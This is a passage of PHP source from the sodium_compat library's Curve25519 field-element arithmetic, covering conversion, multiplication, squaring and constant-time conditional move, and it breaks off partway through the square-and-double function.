        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        /** @var array<int, int> $arr */
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = (int) ($f[$i] + $g[$i]);
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, int> $h */
        $h = array();
        $b *= -1;
        for ($i = 0; $i < 10; ++$i) {
            $x = (($f[$i] ^ $g[$i]) & $b);
            $h[$i] = ($f[$i]) ^ $x;
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws RangeException
     * @throws TypeError
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte string.');
        }
        $h0 = self::load_4($s);
        $h1 = self::load_3(self::substr($s, 4, 3)) << 6;
        $h2 = self::load_3(self::substr($s, 7, 3)) << 5;
        $h3 = self::load_3(self::substr($s, 10, 3)) << 3;
        $h4 = self::load_3(self::substr($s, 13, 3)) << 2;
        $h5 = self::load_4(self::substr($s, 16, 4));
        $h6 = self::load_3(self::substr($s, 20, 3)) << 7;
        $h7 = self::load_3(self::substr($s, 23, 3)) << 5;
        $h8 = self::load_3(self::substr($s, 26, 3)) << 4;
        $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $h
     * @return string
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h)
    {
        $h0 = (int) $h[0];
        $h1 = (int) $h[1];
        $h2 = (int) $h[2];
        $h3 = (int) $h[3];
        $h4 = (int) $h[4];
        $h5 = (int) $h[5];
        $h6 = (int) $h[6];
        $h7 = (int) $h[7];
        $h8 = (int) $h[8];
        $h9 = (int) $h[9];

        $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25;
        $q = ($h0 + $q) >> 26;
        $q = ($h1 + $q) >> 25;
        $q = ($h2 + $q) >> 26;
        $q = ($h3 + $q) >> 25;
        $q = ($h4 + $q) >> 26;
        $q = ($h5 + $q) >> 25;
        $q = ($h6 + $q) >> 26;
        $q = ($h7 + $q) >> 25;
        $q = ($h8 + $q) >> 26;
        $q = ($h9 + $q) >> 25;

        $h0 += self::mul($q, 19, 5);

        $carry0 = $h0 >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry1 = $h1 >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry2 = $h2 >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry3 = $h3 >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry4 = $h4 >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry5 = $h5 >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        $carry6 = $h6 >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        $carry7 = $h7 >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;
        $carry8 = $h8 >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;
        $carry9 = $h9 >> 25;
        $h9 -= $carry9 << 25;

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        /** @var string $str */
        $str = self::fe_tobytes($f);
        return !self::verify_32($str, (string) $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        // Ensure limbs aren't oversized.
        $f = self::fe_normalize($f);
        $g = self::fe_normalize($g);
        $f0 = $f[0];
        $f1 = $f[1];
        $f2 = $f[2];
        $f3 = $f[3];
        $f4 = $f[4];
        $f5 = $f[5];
        $f6 = $f[6];
        $f7 = $f[7];
        $f8 = $f[8];
        $f9 = $f[9];
        $g0 = $g[0];
        $g1 = $g[1];
        $g2 = $g[2];
        $g3 = $g[3];
        $g4 = $g[4];
        $g5 = $g[5];
        $g6 = $g[6];
        $g7 = $g[7];
        $g8 = $g[8];
        $g9 = $g[9];
        $g1_19 = self::mul($g1, 19, 5);
        $g2_19 = self::mul($g2, 19, 5);
        $g3_19 = self::mul($g3, 19, 5);
        $g4_19 = self::mul($g4, 19, 5);
        $g5_19 = self::mul($g5, 19, 5);
        $g6_19 = self::mul($g6, 19, 5);
        $g7_19 = self::mul($g7, 19, 5);
        $g8_19 = self::mul($g8, 19, 5);
        $g9_19 = self::mul($g9, 19, 5);
        $f1_2 = $f1 << 1;
        $f3_2 = $f3 << 1;
        $f5_2 = $f5 << 1;
        $f7_2 = $f7 << 1;
        $f9_2 = $f9 << 1;
        $f0g0    = self::mul($f0,    $g0, 26);
        $f0g1    = self::mul($f0,    $g1, 25);
        $f0g2    = self::mul($f0,    $g2, 26);
        $f0g3    = self::mul($f0,    $g3, 25);
        $f0g4    = self::mul($f0,    $g4, 26);
        $f0g5    = self::mul($f0,    $g5, 25);
        $f0g6    = self::mul($f0,    $g6, 26);
        $f0g7    = self::mul($f0,    $g7, 25);
        $f0g8    = self::mul($f0,    $g8, 26);
        $f0g9    = self::mul($f0,    $g9, 26);
        $f1g0    = self::mul($f1,    $g0, 26);
        $f1g1_2  = self::mul($f1_2,  $g1, 25);
        $f1g2    = self::mul($f1,    $g2, 26);
        $f1g3_2  = self::mul($f1_2,  $g3, 25);
        $f1g4    = self::mul($f1,    $g4, 26);
        $f1g5_2  = self::mul($f1_2,  $g5, 25);
        $f1g6    = self::mul($f1,    $g6, 26);
        $f1g7_2  = self::mul($f1_2,  $g7, 25);
        $f1g8    = self::mul($f1,    $g8, 26);
        $f1g9_38 = self::mul($g9_19, $f1_2, 26);
        $f2g0    = self::mul($f2,    $g0, 26);
        $f2g1    = self::mul($f2,    $g1, 25);
        $f2g2    = self::mul($f2,    $g2, 26);
        $f2g3    = self::mul($f2,    $g3, 25);
        $f2g4    = self::mul($f2,    $g4, 26);
        $f2g5    = self::mul($f2,    $g5, 25);
        $f2g6    = self::mul($f2,    $g6, 26);
        $f2g7    = self::mul($f2,    $g7, 25);
        $f2g8_19 = self::mul($g8_19, $f2, 26);
        $f2g9_19 = self::mul($g9_19, $f2, 26);
        $f3g0    = self::mul($f3,    $g0, 26);
        $f3g1_2  = self::mul($f3_2,  $g1, 25);
        $f3g2    = self::mul($f3,    $g2, 26);
        $f3g3_2  = self::mul($f3_2,  $g3, 25);
        $f3g4    = self::mul($f3,    $g4, 26);
        $f3g5_2  = self::mul($f3_2,  $g5, 25);
        $f3g6    = self::mul($f3,    $g6, 26);
        $f3g7_38 = self::mul($g7_19, $f3_2, 26);
        $f3g8_19 = self::mul($g8_19, $f3, 25);
        $f3g9_38 = self::mul($g9_19, $f3_2, 26);
        $f4g0    = self::mul($f4,    $g0, 26);
        $f4g1    = self::mul($f4,    $g1, 25);
        $f4g2    = self::mul($f4,    $g2, 26);
        $f4g3    = self::mul($f4,    $g3, 25);
        $f4g4    = self::mul($f4,    $g4, 26);
        $f4g5    = self::mul($f4,    $g5, 25);
        $f4g6_19 = self::mul($g6_19, $f4, 26);
        $f4g7_19 = self::mul($g7_19, $f4, 26);
        $f4g8_19 = self::mul($g8_19, $f4, 26);
        $f4g9_19 = self::mul($g9_19, $f4, 26);
        $f5g0    = self::mul($f5,    $g0, 26);
        $f5g1_2  = self::mul($f5_2,  $g1, 25);
        $f5g2    = self::mul($f5,    $g2, 26);
        $f5g3_2  = self::mul($f5_2,  $g3, 25);
        $f5g4    = self::mul($f5,    $g4, 26);
        $f5g5_38 = self::mul($g5_19, $f5_2, 26);
        $f5g6_19 = self::mul($g6_19, $f5, 25);
        $f5g7_38 = self::mul($g7_19, $f5_2, 26);
        $f5g8_19 = self::mul($g8_19, $f5, 25);
        $f5g9_38 = self::mul($g9_19, $f5_2, 26);
        $f6g0    = self::mul($f6,    $g0, 26);
        $f6g1    = self::mul($f6,    $g1, 25);
        $f6g2    = self::mul($f6,    $g2, 26);
        $f6g3    = self::mul($f6,    $g3, 25);
        $f6g4_19 = self::mul($g4_19, $f6, 26);
        $f6g5_19 = self::mul($g5_19, $f6, 26);
        $f6g6_19 = self::mul($g6_19, $f6, 26);
        $f6g7_19 = self::mul($g7_19, $f6, 26);
        $f6g8_19 = self::mul($g8_19, $f6, 26);
        $f6g9_19 = self::mul($g9_19, $f6, 26);
        $f7g0    = self::mul($f7,    $g0, 26);
        $f7g1_2  = self::mul($f7_2,  $g1, 25);
        $f7g2    = self::mul($f7,    $g2, 26);
        $f7g3_38 = self::mul($g3_19, $f7_2, 26);
        $f7g4_19 = self::mul($g4_19, $f7, 26);
        $f7g5_38 = self::mul($g5_19, $f7_2, 26);
        $f7g6_19 = self::mul($g6_19, $f7, 25);
        $f7g7_38 = self::mul($g7_19, $f7_2, 26);
        $f7g8_19 = self::mul($g8_19, $f7, 25);
        $f7g9_38 = self::mul($g9_19,$f7_2, 26);
        $f8g0    = self::mul($f8,    $g0, 26);
        $f8g1    = self::mul($f8,    $g1, 25);
        $f8g2_19 = self::mul($g2_19, $f8, 26);
        $f8g3_19 = self::mul($g3_19, $f8, 26);
        $f8g4_19 = self::mul($g4_19, $f8, 26);
        $f8g5_19 = self::mul($g5_19, $f8, 26);
        $f8g6_19 = self::mul($g6_19, $f8, 26);
        $f8g7_19 = self::mul($g7_19, $f8, 26);
        $f8g8_19 = self::mul($g8_19, $f8, 26);
        $f8g9_19 = self::mul($g9_19, $f8, 26);
        $f9g0    = self::mul($f9,    $g0, 26);
        $f9g1_38 = self::mul($g1_19, $f9_2, 26);
        $f9g2_19 = self::mul($g2_19, $f9, 25);
        $f9g3_38 = self::mul($g3_19, $f9_2, 26);
        $f9g4_19 = self::mul($g4_19, $f9, 25);
        $f9g5_38 = self::mul($g5_19, $f9_2, 26);
        $f9g6_19 = self::mul($g6_19, $f9, 25);
        $f9g7_38 = self::mul($g7_19, $f9_2, 26);
        $f9g8_19 = self::mul($g8_19, $f9, 25);
        $f9g9_38 = self::mul($g9_19, $f9_2, 26);

        $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0    + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2    + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4    + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) $h0,
                    (int) $h1,
                    (int) $h2,
                    (int) $h3,
                    (int) $h4,
                    (int) $h5,
                    (int) $h6,
                    (int) $h7,
                    (int) $h8,
                    (int) $h9
                )
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = -$f[$i];
        }
        return self::fe_normalize($h);
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f = self::fe_normalize($f);
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        $f0_2 = $f0 << 1;
        $f1_2 = $f1 << 1;
        $f2_2 = $f2 << 1;
        $f3_2 = $f3 << 1;
        $f4_2 = $f4 << 1;
        $f5_2 = $f5 << 1;
        $f6_2 = $f6 << 1;
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6);
        $f6_19 = self::mul($f6, 19, 5);
        $f7_38 = self::mul($f7, 38, 6);
        $f8_19 = self::mul($f8, 19, 5);
        $f9_38 = self::mul($f9, 38, 6);
        $f0f0    = self::mul($f0,    $f0,    26);
        $f0f1_2  = self::mul($f0_2,  $f1,    26);
        $f0f2_2  = self::mul($f0_2,  $f2,    26);
        $f0f3_2  = self::mul($f0_2,  $f3,    26);
        $f0f4_2  = self::mul($f0_2,  $f4,    26);
        $f0f5_2  = self::mul($f0_2,  $f5,    26);
        $f0f6_2  = self::mul($f0_2,  $f6,    26);
        $f0f7_2  = self::mul($f0_2,  $f7,    26);
        $f0f8_2  = self::mul($f0_2,  $f8,    26);
        $f0f9_2  = self::mul($f0_2,  $f9,    26);
        $f1f1_2  = self::mul($f1_2,  $f1,    26);
        $f1f2_2  = self::mul($f1_2,  $f2,    26);
        $f1f3_4  = self::mul($f1_2,  $f3_2,  26);
        $f1f4_2  = self::mul($f1_2,  $f4,    26);
        $f1f5_4  = self::mul($f1_2,  $f5_2,  26);
        $f1f6_2  = self::mul($f1_2,  $f6,    26);
        $f1f7_4  = self::mul($f1_2,  $f7_2,  26);
        $f1f8_2  = self::mul($f1_2,  $f8,    26);
        $f1f9_76 = self::mul($f9_38, $f1_2,  27);
        $f2f2    = self::mul($f2,    $f2,    27);
        $f2f3_2  = self::mul($f2_2,  $f3,    27);
        $f2f4_2  = self::mul($f2_2,  $f4,    27);
        $f2f5_2  = self::mul($f2_2,  $f5,    27);
        $f2f6_2  = self::mul($f2_2,  $f6,    27);
        $f2f7_2  = self::mul($f2_2,  $f7,    27);
        $f2f8_38 = self::mul($f8_19, $f2_2,  27);
        $f2f9_38 = self::mul($f9_38, $f2,    26);
        $f3f3_2  = self::mul($f3_2,  $f3,    26);
        $f3f4_2  = self::mul($f3_2,  $f4,    26);
        $f3f5_4  = self::mul($f3_2,  $f5_2,  26);
        $f3f6_2  = self::mul($f3_2,  $f6,    26);
        $f3f7_76 = self::mul($f7_38, $f3_2,  26);
        $f3f8_38 = self::mul($f8_19, $f3_2,  26);
        $f3f9_76 = self::mul($f9_38, $f3_2,  26);
        $f4f4    = self::mul($f4,    $f4,    26);
        $f4f5_2  = self::mul($f4_2,  $f5,    26);
        $f4f6_38 = self::mul($f6_19, $f4_2,  27);
        $f4f7_38 = self::mul($f7_38, $f4,    26);
        $f4f8_38 = self::mul($f8_19, $f4_2,  27);
        $f4f9_38 = self::mul($f9_38, $f4,    26);
        $f5f5_38 = self::mul($f5_38, $f5,    26);
        $f5f6_38 = self::mul($f6_19, $f5_2,  26);
        $f5f7_76 = self::mul($f7_38, $f5_2,  26);
        $f5f8_38 = self::mul($f8_19, $f5_2,  26);
        $f5f9_76 = self::mul($f9_38, $f5_2,  26);
        $f6f6_19 = self::mul($f6_19, $f6,    26);
        $f6f7_38 = self::mul($f7_38, $f6,    26);
        $f6f8_38 = self::mul($f8_19, $f6_2,  27);
        $f6f9_38 = self::mul($f9_38, $f6,    26);
        $f7f7_38 = self::mul($f7_38, $f7,    26);
        $f7f8_38 = self::mul($f8_19, $f7_2,  26);
        $f7f9_76 = self::mul($f9_38, $f7_2,  26);
        $f8f8_19 = self::mul($f8_19, $f8,    26);
        $f8f9_38 = self::mul($f9_38, $f8,    26);
        $f9f9_38 = self::mul($f9_38, $f9,    26);
        $h0 = $f0f0   + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38;
        $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38;
        $h2 = $f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19;
        $h3 = $f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38;
        $h4 = $f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 + $f7f7_38;
        $h5 = $f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38;
        $h6 = $f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 + $f8f8_19;
        $h7 = $f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38;
        $h8 = $f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    + $f9f9_38;
        $h9 = $f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) $h0,
                    (int) $h1,
                    (int) $h2,
                    (int) $h3,
                    (int) $h4,
                    (int) $h5,
                    (int) $h6,
                    (int) $h7,
                    (int) $h8,
                    (int) $h9
                )
            )
        );
    }


    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f = self::fe_normalize($f);
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        $f0_2 = $f0 << 1;
        $f1_2 = $f1 << 1;
        $f2_2 = $f2 << 1;
        $f3_2 = $f3 << 1;
        $f4_2 = $f4 << 1;
        $f5_2 = $f5 << 1;
        $f6_2 = $f6 << 1;
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */
        $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */
        $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */
        $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */
        $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */
        $f0f0 = self::mul($f0, $f0, 24);
        $f0f1_2 = self::mul($f0_2, $f1, 24);
        $f0f2_2 = self::mul($f0_2, $f2, 24);
        $f0f3_2 = self::mul($f0_2, $f3, 24);
        $f0f4_2 = self::mul($f0_2, $f4, 24);
        $f0f5_2 = self::mul($f0_2, $f5, 24);
        $f0f6_2 = self::mul($f0_2, $f6, 24);
        $f0f7_2 = self::mul($f0_2, $f7, 24);
        $f0f8_2 = self::mul($f0_2, $f8, 24);
        $f0f9_2 = self::mul($f0_2, $f9, 24);
        $f1f1_2 = self::mul($f1_2,  $f1, 24);
        $f1f2_2 = self::mul($f1_2,  $f2, 24);
        $f1f3_4 = self::mul($f1_2,  $f3_2, 24);
        $f1f4_2 = self::mul($f1_2,  $f4, 24);
        $f1f5_4 = self::mul($f1_2,  $f5_2, 24);
        $f1f6_2 = self::mul($f1_2,  $f6, 24);
        $f1f7_4 = self::mul($f1_2,  $f7_2, 24);
        $f1f8_2 = self::mul($f1_2,  $f8, 24);
        $f1f9_76 = self::mul($f9_38, $f1_2, 24);
        $f2f2 = self::mul($f2,  $f2, 24);
        $f2f3_2 = self::mul($f2_2,  $f3, 24);
        $f2f4_2 = self::mul($f2_2,  $f4, 24);
        $f2f5_2 = self::mul($f2_2,  $f5, 24);
        $f2f6_2 = self::mul($f2_2,  $f6, 24);
        $f2f7_2 = self::mul($f2_2,  $f7, 24);
        $f2f8_38 = self::mul($f8_19, $f2_2, 25);
        $f2f9_38 = self::mul($f9_38, $f2, 24);
        $f3f3_2 = self::mul($f3_2,  $f3, 24);
        $f3f4_2 = self::mul($f3_2,  $f4, 24);
        $f3f5_4 = self::mul($f3_2,  $f5_2, 24);
        $f3f6_2 = self::mul($f3_2,  $f6, 24);
        $f3f7_76 = self::mul($f7_38, $f3_2, 24);
        $f3f8_38 = self::mul($f8_19, $f3_2, 24);
        $f3f9_76 = self::mul($f9_38, $f3_2, 24);
        $f4f4 = self::mul($f4,  $f4, 24);
        $f4f5_2 = self::mul($f4_2,  $f5, 24);
        $f4f6_38 = self::mul($f6_19, $f4_2, 25);
        $f4f7_38 = self::mul($f7_38, $f4, 24);
        $f4f8_38 = self::mul($f8_19, $f4_2, 25);
